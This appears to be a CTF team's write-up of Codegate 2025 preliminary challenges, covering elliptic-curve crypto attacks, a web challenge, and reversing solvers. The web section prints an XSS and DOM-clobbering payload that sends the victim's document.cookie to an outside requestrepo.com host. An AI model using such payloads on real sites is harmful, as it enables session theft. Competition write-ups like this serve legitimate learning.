# Codegate CTF 2025 Preliminary Writeup - Project Sekai
[TOC]
## Crypto
### These Walls
There's no one single solve script for this because the work was done on an ad-hoc basis over a few different jupyter notebooks.
But basically, first is recover the unknown parameters (a,b,n) in the same way as LCGs: resultant out the a,b and take gcds to solve for n.
Then `EllipticCurve(Zmod(n),[a,b])(x0,y0) * 2` fails for some reason to do with unable to invert. This usually happens when n has a common factor with something. In fact we find n has a common factor with a,b,o. And by extracting these out we find that n is of the form:
```
n = p0^3 * p1^1 * p2^2 * p3^2
```
in ascending order of the prime size. Or I wrote it in the code as
```
factors = [(2717597692908121319788497985451, 3), (3562548874780288796769030192977, 1), (3692983360407686094702508373879, 2), (324094280281900209908870811008292068290746348301400744740589987, 2)]
```
This splits the problem into four smaller elliptic curves E0,E1,E2,E3, each defined on Zmod(some prime power).
The higher powers can be lifted, so we only need to solve the problem on GF(p_i). We base this from [hellman's script](https://affine.group/writeup/2021-01-Zer0pts#pure-division).
E1 turns out to be singular, so the DLP is easy. We can thus solve
```
s = 1688818121111580066310934554129 (mod E1.order())
```
E2 turns out to be vulnerable to the MOV attack, and we can solve
```
s = 8739866395777479874773059651140954210496196864030849623270539 (mod E2.order())
```
E0 and E3 are harder, but both of them turn out to be [easy decisional diffie-hellman groups](https://eprint.iacr.org/2004/070.pdf). This means we can distinguish between (P, kP, Q, kQ) and (P, kP, Q, R) withotu actually solving for k.
Anyway, we combine all the bits like this:
```python=
# E0 -- pairing
p,e = factors[0]
F.<z> = GF(p^2, [1,1,1])
ordp = EllipticCurve(GF(p), [A, B]).order()
E = EllipticCurve(F, [A, B])
G = E(*arr[0])
def pair(P, Q):
return E(P[0]*z, P[1]).weil_pairing(Q, ordp)
def is_good(a,b,c,d):
return pair(E(*arr[a]), E(*arr[d])) == pair(E(*arr[b]), E(*arr[c]))
for i in range(255):
print(0+is_good(0,1,i,i+1),end='')
#101110011111111110111101111110111101111111101011101111111101001101110011101110111011101111011111011011111111111111111101100110111111111111101101010110100111001111100011111111011111101110111111111011111101101011110111110111111010111111011111110110101111101
#E0 -- hensel lift
p,e = factors[0]
E = EllipticCurve(Zmod(p^3),[A,B])
E2 = E.change_ring(Qp(p))
s = 4449267266947790392239895698483736001074931091280999992661100
for i in range(255):
Q = E2(*arr[i]) * (p+1)
R = E2(*arr[i+1]) * (p+1)
print(0+(s==ZZ((R[0]/R[1]) / (Q[0]/Q[1]))),end='')
#011011011111111110111101111110111101111111011011101001111101101111111111101110110111111111011111111011111111111111111101110111111111111011111111110101101111001111101111111111111111101111110111111111011101101111110011111111111110111111111111110110111111111
#E1 - singular
p,e = factors[1]
E = EC(A,B,p)
s = 1688818121111580066310934554129
for i in range(255):
print(0+(E.scalar_mult(s,arr[i])==E.scalar_mult(p+2,arr[i+1])),end='')
#111111001111111110101101111110111101110111101001001111101101100101101111101110111111111111010111111010111011011111111101110110101101111111111111110111101111001111101111111111101111101111111111111111111101001111110111111111100010111011111011110100111111111
#E2 - MOV attack
p,e = factors[2]
E = EllipticCurve(Zmod(p^e), [A, B])
s = 8739866395777479874773059651140954210496196864030849623270539
for i in range(255):
print(0+(E(*arr[i])*s==E(*arr[i+1])),end='')
#111101011101111100110101111000011101111111101011101111011101101101111111101110111110111111001111111001011111111111111101110110011111111111110111110011001101000111001111111111110111101111011101011111111001101011010111111111111010111110111101110110111111100
#E3 - pairing
p,e = factors[3]
F.<z> = GF(p^2, 'z', [1,0,1])
ordp = EllipticCurve(GF(p), [A, B]).order()
E = EllipticCurve(F, [A, B])
G = E(*arr[0])
def pair(P, Q):
return E(-P[0], P[1]*z).weil_pairing(Q, ordp)
def is_good(a,b,c,d):
return pair(E(*arr[a]), E(*arr[d])) == pair(E(*arr[b]), E(*arr[c]))
for i in range(255):
print(0+is_good(0,1,i,i+1),end='')
#111111011111110110111101111110110101111111101010101111111101101101111111101110111111111101011111101011111111111111111101110110111111111111111111110111101111001111101101011111111111101111111111111111111101101111110111111101111010110111111111110110110111111
#E3 - hensel lift
p,e = factors[3]
E = EllipticCurve(Zmod(p^2),[A,B])
E2 = E.change_ring(Qp(p))
s = 147379262854275556091264179874891921915318451984529732921999473
for i in range(255):
Q = E2(*arr[i]) * (p+1)
R = E2(*arr[i+1]) * (p+1)
print(0+(s==ZZ((R[0]/R[1]) / (Q[0]/Q[1]))),end='')
#111111011111111110111101111110111101111111111011101111111101101111111111101110111111111111011111111011111111111111111101110111111111111111111111110111101110001111101111111111111111101111111111111111111101101111110111111110111110101111111111110110111111111
```
Finally, we combine the six bitstrings for the key. This is length 255 so we need to guess the top bit.
```python=
n1 = 0b101110011111111110111101111110111101111111101011101111111101001101110011101110111011101111011111011011111111111111111101100110111111111111101101010110100111001111100011111111011111101110111111111011111101101011110111110111111010111111011111110110101111101
n2 = 0b111111011111110110111101111110110101111111101010101111111101101101111111101110111111111101011111101011111111111111111101110110111111111111111111110111101111001111101101011111111111101111111111111111111101101111110111111101111010110111111111110110110111111
n3 = 0b111101011101111100110101111000011101111111101011101111011101101101111111101110111110111111001111111001011111111111111101110110011111111111110111110011001101000111001111111111110111101111011101011111111001101011010111111111111010111110111101110110111111100
n4 = 0b111111001111111110101101111110111101110111101001001111101101100101101111101110111111111111010111111010111011011111111101110110101101111111111111110111101111001111101111111111101111101111111111111111111101001111110111111111100010111011111011110100111111111
n5 = 0b011011011111111110111101111110111101111111011011101001111101101111111111101110110111111111011111111011111111111111111101110111111111111011111111110101101111001111101111111111111111101111110111111111011101101111110011111111111110111111111111110110111111111
n6 = 0b111111011111111110111101111110111101111111111011101111111101101111111111101110111111111111011111111011111111111111111101110111111111111111111111110111101110001111101111111111111111101111111111111111111101101111110111111110111110101111111111110110111111111
key = n1&n2&n3&n4&n5&n6
key = turn_this_back_into_bytes(key)
AES.new(key, AES.MODE_CTR, nonce=bytes(12)).decrypt(enc)
#b'codegate2025{If_these_weils_could_talk_(I_can_feel_your_reign_when_it_cries_supersingular_curves_inside_of_you)}'
```
## Web
### Masquerade
Use `ıNSPECTOR` and `ADMıN` to bypass the update role, update to the `ADMIN` role, and add permission to write posts.
In the admin test page, deobfuscate the JS, and get this.
```js
const post_title = document.querySelector('.post_title'),
post_content = document.querySelector('.post_content'),
error_div = document.querySelector('.error_div')
const urlSearch = new URLSearchParams(location.search),
title = urlSearch.get('title')
const content = urlSearch.get('content')
if (!title && !content) {
post_content.innerHTML = 'Usage: ?title=a&content=b'
} else {
try {
post_title.innerHTML = DOMPurify.sanitize(title)
post_content.innerHTML = DOMPurify.sanitize(content)
} catch {
post_title.innerHTML = title
post_content.innerHTML = content
}
}
```
Using this can trigger XSS since `/admin/test/../js/purify.min.js` will return a 404 error, causing `DOMPurify.sanitize` to throw an exception.
```
localhost:3000/admin/test/?title=123&content=<img src=x onerror=alert(1)>
```
Then, on the report page, this code is vulnerable to DOM clobbering and can point `window.conf.deleteUrl` to any URL.
```html
<script nonce="<%= nonce %>">
<% if (isOwner || isAdmin) { %>
window.conf = window.conf || {
deleteUrl: "/post/delete/<%= post.post_id %>"
};
<% } else { %>
window.conf = window.conf || {
deleteUrl: "/error/role"
};
<% } %>
<% if (isInspector) { %>
window.conf.reportUrl = "/report/<%= post.post_id %>";
<% } else { %>
window.conf.reportUrl = "/error/role";
<% } %>
const reportButton = document.querySelector("#report");
reportButton.addEventListener("click", () => {
location.href = window.conf.reportUrl;
});
const deleteButton = document.querySelector("#delete");
deleteButton.addEventListener("click", () => {
location.href = window.conf.deleteUrl;
});
</script>
```
Since ``<a ...`` is filtered on the server, create a post with this content and report it to get the flag.
```html
<a/id='conf'></a><a/id='conf' name='deleteUrl' href='/admin/test/?title=%3Csvg%20onload=window.location=`https://qyb1v370.requestrepo.com/?f=${document.cookie}`%3E'></a>
```
## Rev
### cha's ELF
Blackbox test
```py
inp = b'A' * 64 + b'}'
enc = test_inp(inp)
inp = b'B' * 64 + b'}'
enc = test_inp(inp)
inp = b'A' * 32 + b'B' * 32 + b'}'
enc = test_inp(inp)
candidates = []
for last in trange(33, 128):
for i in range(33, 128):
inp = bytes([i]) * 64 + bytes([last])
try:
# print(inp)
enc = test_inp(inp)
if enc[0] == target[0]:
print(f'Found: {chr(i)}, {chr(last)}')
candidates.append((i, last))
break
except Exception as e:
# print(i, last, e)
pass
print(candidates)
flag = [None] * 64
for i in range(128):
inp = b'A' + bytes([i]) * 63 + b'}'
try:
enc = test_inp(inp)
# if enc[0] == target[0]:
# print(f'Found: {chr(i)}')
# break
for j in range(64):
if enc[j] == target[j]:
if flag[j] is None:
flag[j] = i
else:
if flag[j] != i:
print(f'Conflict: {i} != {flag[j]}')
except Exception as e:
print(i, e)
print(flag)
candidates = [(67, 33), (97, 35), (47, 36), (116, 39), (53, 41), (119, 45), (123, 48), (35, 49), (108, 50), (111, 51), (67, 56), (69, 60), (47, 65), (86, 66), (110, 68), (79, 69), (48, 70), (123, 71), (54, 72), (76, 73), (38, 74), (90, 76), (39, 79), (48, 80), (53, 81), (45, 86), (47, 89), (67, 90), (65, 92), (90, 94), (57, 95), (48, 96), (127, 102), (123, 104), (83, 106), (33, 107), (125, 108), (73, 113), (83, 118), (39, 119), (111, 120), (63, 123), (105, 125), (83, 127)]
for start, end in candidates:
flag = [None] * 64
flag[0] = start
for i in range(128):
inp = bytes([start]) + bytes([i]) * 63 + bytes([end])
try:
enc = test_inp(inp)
for j in range(64):
if enc[j] == target[j]:
if flag[j] is None:
flag[j] = i
# else:
# if flag[j] != i:
# print(f'Conflict: {i} != {flag[j]}')
except Exception as e:
# print(i, e)
pass
try:
print(flag)
print(bytes(flag))
except Exception as e:
pass
```
Solver
```py=
from pwn import process
from tqdm import trange
target = open('flag_enc', 'rb')
target = bytes.fromhex(target.read().decode().strip())
print(target)
def test_inp(inp):
p = process("./chas_elf", level='error')
p.sendline(inp)
enc = p.recvline()
enc = bytes.fromhex(enc.decode().strip())
p.close()
return enc
start = 67
end = 33
flag = [None] * 65
flag[0] = start
flag[64] = end
for i in range(128):
inp = bytes([start]) + bytes([i]) * 63 + bytes([end])
try:
enc = test_inp(inp)
for j in range(64):
if enc[j] == target[j]:
flag[j] = i
# if flag[j] is None:
# flag[j] = i
# else:
# if flag[j] != i:
# print(f'Conflict: {i} != {flag[j]}')
except Exception as e:
# print(i, e)
pass
print(flag)
print(bytes(flag))
```
### C0D3Matr1x
```py=
import numpy as np
import numpy
from numpy import matrix
from numpy import linalg
def modMatInv(A,p): # Finds the inverse of matrix A mod p
n=len(A)
A=matrix(A)
adj=numpy.zeros(shape=(n,n))
for i in range(0,n):
for j in range(0,n):
adj[i][j]=((-1)**(i+j)*int(round(linalg.det(minor(A,j,i)))))%p
return (modInv(int(round(linalg.det(A))),p)*adj)%p
def modInv(a,p): # Finds the inverse of a mod p, if it exists
for i in range(1,p):
if (i*a)%p==1:
return i
raise ValueError(str(a)+" has no inverse mod "+str(p))
def minor(A,i,j): # Return matrix A with the ith row and jth column deleted
A=numpy.array(A)
minor=numpy.zeros(shape=(len(A)-1,len(A)-1))
p=0
for s in range(0,len(minor)):
if p==i:
p=p+1
q=0
for t in range(0,len(minor)):
if q==j:
q=q+1
minor[s][t]=A[p][q]
q=q+1
p=p+1
return minor
matrix1 = [
[260, 425, 458, 481, 479, 512, 492, 493, 459, 476, 460, 481, 481, 514, 494, 493, 461, 478, 462, 481, 483, 516, 466, 299],
[425, 687, 755, 778, 776, 803, 790, 791, 757, 767, 759, 780, 780, 805, 794, 793, 761, 769, 763, 782, 784, 807, 708, 444],
[469, 760, 890, 879, 892, 886, 893, 880, 895, 888, 896, 881, 898, 890, 899, 882, 901, 892, 902, 883, 904, 894, 786, 474],
[492, 783, 907, 896, 908, 885, 910, 898, 911, 886, 913, 900, 914, 887, 916, 902, 917, 888, 919, 904, 920, 889, 765, 458],
[511, 802, 923, 890, 925, 908, 926, 891, 928, 910, 929, 892, 931, 912, 932, 894, 910, 890, 910, 895, 913, 892, 790, 481],
[533, 825, 916, 894, 916, 897, 919, 896, 919, 898, 922, 898, 922, 899, 925, 901, 901, 876, 903, 903, 904, 877, 772, 479],
[521, 813, 907, 878, 909, 907, 910, 879, 912, 909, 913, 880, 915, 911, 916, 882, 894, 889, 894, 883, 897, 891, 818, 512],
[501, 794, 900, 893, 900, 885, 903, 895, 903, 886, 906, 897, 906, 887, 909, 899, 909, 888, 912, 901, 912, 889, 797, 493],
[484, 776, 915, 890, 918, 905, 918, 891, 921, 907, 921, 892, 924, 909, 924, 893, 927, 911, 927, 894, 930, 913, 822, 494],
[493, 786, 933, 915, 933, 897, 912, 893, 911, 898, 915, 895, 914, 899, 918, 897, 917, 900, 921, 899, 920, 901, 775, 460],
[482, 774, 923, 902, 927, 904, 902, 879, 905, 906, 905, 880, 908, 908, 908, 881, 911, 910, 911, 882, 914, 912, 801, 476],
[486, 780, 917, 914, 917, 885, 896, 892, 895, 886, 899, 894, 898, 887, 902, 896, 901, 888, 905, 898, 904, 889, 763, 462],
[499, 792, 907, 890, 911, 902, 910, 891, 914, 904, 913, 892, 917, 906, 916, 893, 920, 908, 919, 894, 923, 910, 805, 483],
[527, 822, 926, 912, 925, 896, 929, 914, 928, 897, 932, 916, 931, 898, 935, 918, 934, 900, 914, 896, 912, 901, 795, 483],
[509, 802, 915, 902, 920, 900, 918, 903, 923, 902, 921, 904, 926, 904, 924, 905, 929, 907, 903, 882, 907, 909, 833, 514],
[495, 791, 910, 911, 909, 884, 913, 913, 912, 885, 916, 915, 915, 886, 919, 917, 918, 888, 898, 895, 896, 889, 795, 497],
[472, 766, 899, 890, 904, 899, 902, 891, 907, 901, 905, 892, 910, 903, 908, 893, 913, 905, 911, 894, 916, 907, 812, 496],
[487, 784, 919, 909, 917, 896, 922, 911, 920, 897, 925, 913, 923, 898, 928, 915, 926, 899, 931, 917, 929, 900, 772, 463],
[495, 789, 932, 901, 937, 921, 935, 903, 916, 899, 913, 904, 919, 901, 916, 905, 922, 903, 919, 906, 925, 905, 790, 477],
[505, 803, 928, 907, 925, 908, 931, 910, 904, 885, 909, 912, 907, 886, 912, 914, 910, 887, 915, 916, 913, 888, 760, 465],
[512, 807, 916, 889, 921, 920, 919, 891, 900, 898, 897, 892, 903, 900, 900, 893, 906, 902, 903, 894, 909, 904, 795, 485],
[521, 820, 912, 906, 909, 896, 915, 908, 912, 897, 918, 910, 915, 898, 921, 912, 918, 899, 924, 914, 921, 900, 792, 486],
[471, 717, 795, 773, 803, 788, 834, 807, 817, 768, 799, 775, 807, 790, 838, 809, 821, 770, 803, 777, 811, 792, 763, 483],
[299, 448, 494, 478, 497, 482, 532, 512, 510, 461, 496, 480, 499, 482, 534, 514, 512, 461, 498, 482, 501, 482, 483, 315]
]
X = [
[1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0],
[0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0],
[0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
]
M0 = [[84, 18, 2, 2, 76, 65, 51, 81, 63, 12, 6, 24, 64, 67, 52, 71, 95, 34, 98, 33, 94, 26, 39, 77], [51, 86, 72, 44, 16, 4, 73, 2, 28, 40, 77, 28, 63, 43, 23, 25, 39, 66, 82, 70, 60, 0, 57, 65], [41, 9, 98, 39, 21, 23, 26, 29, 25, 72, 86, 18, 0, 4, 55, 74, 63, 0, 75, 25, 63, 55, 57, 36], [14, 89, 21, 184, 17, 61, 9, 33, 70, 37, 99, 63, 4, 23, 89, 95, 62, 97, 81, 30, 82, 54, 1, 27], [37, 12, 19, 58, 140, 97, 68, 46, 34, 34, 62, 98, 57, 86, 62, 30, 44, 59, 50, 13, 50, 79, 76, 67], [96, 50, 45, 21, 85, 174, 6, 90, 34, 17, 83, 85, 47, 27, 29, 19, 11, 38, 56, 33, 89, 10, 51, 82], [98, 15, 24, 83, 43, 44, 138, 1, 52, 73, 77, 3, 37, 9, 63, 24, 93, 60, 44, 36, 68, 17, 1, 24], [40, 56, 58, 77, 31, 69, 15, 16, 52, 12, 26, 46, 94, 1, 49, 89, 6, 51, 57, 7, 5, 74, 11, 53], [98, 65, 27, 21, 96, 49, 25, 39, 156, 77, 39, 79, 79, 33, 7, 56, 99, 50, 42, 88, 15, 47, 95, 21], [59, 17, 79, 94, 45, 5, 15, 14, 41, 66, 38, 60, 19, 79, 18, 43, 65, 17, 9, 6, 65, 56, 14, 7], [68, 43, 1, 62, 26, 83, 67, 44, 3, 12, 50, 0, 79, 15, 91, 96, 88, 71, 75, 16, 6, 10, 49, 71], [25, 16, 53, 10, 78, 6, 23, 7, 86, 76, 59, 88, 24, 24, 46, 75, 80, 8, 66, 29, 46, 89, 89, 52], [94, 22, 66, 4, 18, 71, 32, 33, 2, 32, 52, 5, 120, 68, 21, 64, 96, 42, 89, 39, 23, 98, 91, 96], [23, 75, 70, 8, 39, 85, 89, 66, 11, 96, 30, 88, 81, 150, 61, 25, 50, 48, 85, 86, 86, 80, 65, 28], [76, 6, 0, 76, 5, 42, 24, 53, 18, 81, 3, 25, 82, 52, 70, 8, 13, 86, 58, 54, 73, 43, 71, 70], [71, 21, 72, 83, 74, 24, 36, 67, 9, 40, 24, 38, 12, 54, 5, 112, 97, 77, 17, 39, 35, 57, 19, 88], [67, 29, 11, 52, 15, 25, 54, 37, 88, 67, 85, 88, 58, 64, 83, 51, 82, 10, 54, 89, 59, 9, 49, 89], [79, 86, 77, 22, 84, 89, 31, 27, 65, 96, 10, 81, 76, 71, 17, 78, 70, 122, 12, 61, 25, 14, 44, 41], [78, 23, 25, 63, 7, 11, 46, 40, 82, 4, 94, 94, 91, 7, 29, 12, 4, 0, 18, 34, 78, 73, 37, 52], [71, 6, 55, 45, 41, 2, 94, 52, 48, 22, 22, 73, 59, 1, 76, 16, 65, 67, 30, 34, 52, 92, 33, 2], [95, 24, 34, 11, 38, 5, 2, 74, 59, 60, 11, 28, 75, 50, 91, 21, 55, 34, 32, 92, 192, 92, 40, 75], [54, 16, 83, 92, 28, 81, 0, 79, 81, 91, 26, 33, 82, 34, 62, 12, 15, 30, 52, 13, 24, 30, 75, 48], [92, 41, 20, 90, 84, 46, 39, 14, 95, 51, 31, 28, 54, 64, 61, 64, 16, 91, 68, 10, 37, 66, 48, 4], [4, 16, 51, 91, 9, 46, 26, 59, 45, 88, 89, 8, 91, 34, 32, 0, 58, 67, 47, 47, 11, 84, 24, 138]]
M1 = [[0x6c6, 0xb350, 0xfb2a, 0xa846, 0xabd5, 0xfbba, 0xd20, 0xb2c4, 0xbd5, 0xa4f3, 0x4064, 0xbdcf, 0x8511, 0x2911, 0xc4bd, 0x65b6, 0x7010, 0x1f43, 0x20f1, 0x7268, 0x6ef8, 0x1524, 0xf6a8, 0x3a2], [0x37cb, 0xc40f, 0x9720, 0x13d2, 0x3aa, 0x4671, 0xc1fc, 0x2147, 0xf9ef, 0xb8aa, 0x81ef, 0x1f7a, 0xdeaa, 0x89bf, 0xc101, 0x2992, 0xe50d, 0x80d5, 0xa7c2, 0x5d2, 0x9df, 0xae25, 0xcb5e, 0xa5a9], [0x9763, 0xbaf2, 0x86f8, 0x9bfc, 0x4435, 0x70b3, 0xab91, 0x44f4, 0x4495, 0xe241, 0x43c9, 0xcc02, 0xa778, 0x5031, 0x9994, 0xdbe1, 0xe6cc, 0xf905, 0x7ed4, 0x713a, 0x1e87, 0xa621, 0xe3c5, 0x2dcf], [0x95c2, 0xf961, 0xa7e3, 0xfad7, 0x2244, 0xe219, 0x7ffc, 0x4ccd, 0x5b2, 0x3594, 0xf6dd, 0x6037, 0x2c8f, 0x5b3, 0x3db5, 0x5361, 0x9025, 0xdb95, 0xb3c9, 0x6450, 0xae6e, 0xf74f, 0xb761, 0xf9d0], [0xa9, 0xf10c, 0xecbd, 0xc698, 0xc22, 0x7eb8, 0xeaa5, 0xab78, 0x437f, 0xbf50, 0x9da0, 0x70e1, 0xdbe8, 0x9b40, 0xb9a5, 0xcbf4, 0xe492, 0xb5f6, 0x919f, 0x4b33, 0x9eef, 0x5e9a, 0xffc0, 0xab7], [0xf3bf, 0x8283, 0x41df, 0x7773, 0x81b4, 0xba07, 0xfd6, 0x8fd3, 0x5d0f, 0x33b1, 0xf5b0, 0xffbb, 0x47b5, 0xe9f7, 0xd783, 0xa9e6, 0x96c1, 0x1816, 0xc30a, 0xa3cd, 0x7884, 0xb1ec, 0xc61, 0xf77], [0xb14a, 0x8aff, 0xc779, 0x626d, 0xd759, 0x6c81, 0xcc5d, 0xbd1a, 0x95f5, 0x5d61, 0x9c9e, 0x6293, 0x2911, 0x9758, 0xb6d0, 0x5bd4, 0x3b98, 0xdc7f, 0xf27c, 0x9816, 0xde49, 0x8575, 0xd547, 0x6e36], [0x8635, 0x3e95, 0xd8c6, 0x24c7, 0x6b58, 0x9cef, 0xea8c, 0x582c, 0xc9e0, 0xbd3d, 0xbc4e, 0xd00c, 0x3c61, 0xc9f7, 0xe213, 0x4893, 0x51c6, 0xa72f, 0xe1f4, 0xf767, 0x1a78, 0x8d4f, 0x423b, 0xda35], [0xed13, 0x228b, 0xcd29, 0x9f34, 0x997d, 0x5d1e, 0xc18a, 0x6159, 0x6986, 0x3c38, 0xa076, 0xfc28, 0x6fc4, 0x8751, 0x96e0, 0xfafd, 0x52c6, 0x4906, 0x1173, 0x45c, 0xdd70, 0x45f3, 0x5044, 0x92ae], [0x428a, 0x29d8, 0xc652, 0x679d, 0x213f, 0xbf03, 0xf0c1, 0xe6a, 0xbdd8, 0x4591, 0xb5b9, 0x2558, 0xa92d, 0xc886, 0xc02f, 0x89cf, 0x5395, 0xc578, 0x2078, 0x4adf, 0xc6ff, 0x6ec1, 0x4a15, 0x1309], [0xfded, 0x468c, 0x8feb, 0xaeea, 0xd873, 0x1b87, 0xe75b, 0x80b5, 0x236d, 0x7097, 0x6857, 0x6b43, 0x2bc, 0x91ea, 0xb01d, 0x777a, 0xb692, 0x3918, 0xd1cf, 0x959e, 0x572, 0x59c7, 0xd4fa, 0xd9ab], [0x904f, 0x5d27, 0x396c, 0x4b82, 0x85f2, 0xa2f0, 0xc88a, 0x88e5, 0xf4e2, 0x6988, 0x6496, 0x4035, 0x3d0e, 0x15dc, 0xb6dd, 0xcbe4, 0x2d92, 0x418f, 0x9ad4, 0xaedc, 0xfa46, 0x25e7, 0x22a8, 0xaee5], [0x1798, 0xdfbd, 0xcd93, 0x58e, 0x27dc, 0xeaff, 0xab5a, 0x37ab, 0xb78f, 0x5e02, 0x8e73, 0x3aec, 0xf80c, 0x711a, 0x914c, 0xdd62, 0xe2d3, 0x6dfe, 0x3597, 0x25c5, 0xad18, 0xe45f, 0x3808, 0xeb56], [0x33ea, 0x6d19, 0xfbcc, 0xa388, 0xb0fd, 0xc271, 0xed90, 0x4095, 0x440f, 0x262d, 0xb512, 0x623a, 0x6410, 0x62a5, 0x6995, 0xa000, 0xbaf9, 0xe445, 0x2465, 0xa65e, 0xb603, 0xc209, 0xb159, 0x6c32], [0x11d, 0x3c2e, 0xb23d, 0xb479, 0x9d4f, 0xef2f, 0x833e, 0xfe0f, 0x2eb3, 0x8b7b, 0x61db, 0x1dc6, 0x6534, 0x37f1, 0x908f, 0xd7d, 0xd25a, 0xc690, 0xb29, 0x3220, 0x97f, 0x321a, 0xcac4, 0x7ab], [0x73ae, 0xdb4e, 0x4a65, 0x96a0, 0x64f0, 0x5f45, 0x1e77, 0x2de3, 0xdd0c, 0xa4c8, 0x33df, 0xfacf, 0x29b1, 0x7cb, 0x24ab, 0x2a19, 0x43f2, 0x3293, 0xc952, 0x83ee, 0xe01, 0x424c, 0x2ccc, 0x21cb], [0x701f, 0x4a27, 0x4e30, 0x4adc, 0x846, 0xda65, 0xe1f1, 0xd6cf, 0x15c1, 0xed78, 0xcff2, 0x1c69, 0xef05, 0xdd53, 0x2bb9, 0x1401, 0xefd, 0x7031, 0xefd9, 0x5790, 0x14b8, 0xa5c6, 0xfa73, 0x1f8c], [0x6171, 0xa46b, 0xc524, 0x8a78, 0x2dc3, 0x61bc, 0x4a2, 0xddc4, 0x73c4, 0x8c50, 0xcfbc, 0x3388, 0x73f0, 0xe94c, 0x85ce, 0x20bc, 0x8f08, 0x67e7, 0xe5c8, 0x69bd, 0x46bf, 0x69e4, 0xf024, 0xf5bb], [0xab91, 0xc32, 0x57e8, 0xcc30, 0xc68a, 0xa5f3, 0xefbf, 0x5f74, 0xe7f, 0x397f, 0xf02b, 0x2e51, 0xffe, 0x32ce, 0xf66a, 0xa69d, 0x93b1, 0xe53f, 0xf854, 0x60b8, 0xa7a2, 0xef57, 0x6a86, 0xc3ca], [0x93e4, 0xb2f1, 0x590, 0x8cc5, 0xeeb7, 0x663d, 0x6311, 0xdb16, 0x9294, 0x8299, 0xbd, 0xfca1, 0xd53f, 0x7e60, 0xff44, 0xa42c, 0xa8f1, 0x5175, 0xe9a0, 0xeb14, 0xdb64, 0xb072, 0x3179, 0x59d2], [0xb7ff, 0x2ee0, 0xfd00, 0x42fd, 0x17fb, 0xa871, 0xd3ce, 0x73b9, 0x532c, 0x2449, 0x45a8, 0xe49a, 0xc3cb, 0x4497, 0x5841, 0x11d7, 0x7d08, 0x46c3, 0xcf5e, 0x705c, 0xc024, 0xd07c, 0x7f16, 0x9d97], [0x3e91, 0x249f, 0xe9a7, 0x14e5, 0x8c35, 0x7a6d, 0xf3e9, 0xb8f6, 0xdcdd, 0x449d, 0xa524, 0xf38, 0x4510, 0x589d, 0x78a1, 0x4aba, 0xa3e5, 0x9d3, 0xf34b, 0x5705, 0xda4d, 0x3330, 0x1949, 0x2949], [0xce6c, 0x5299, 0x340, 0xc795, 0x98c2, 0xd611, 0x6212, 0xb043, 0x3253, 0xfcf1, 0x593c, 0x3496, 0x8d5, 0xf597, 0x7436, 0xe146, 0xce9a, 0xfdf3, 0xb57c, 0x59aa, 0x8f34, 0x6a4e, 0x22f9, 0xdb15], [0x2ca, 0x1de0, 0x1e5b, 0x3a0f, 0xab47, 0x7280, 0x16bd, 0x826b, 0xffef, 0x69a4, 0xe62, 0x674e, 0xcdc3, 0x2381, 0x1187, 0x12cc, 0xd668, 0x4dcf, 0x89ac, 0x75b6, 0x95cd, 0x1915, 0xd51e, 0x78b2]]
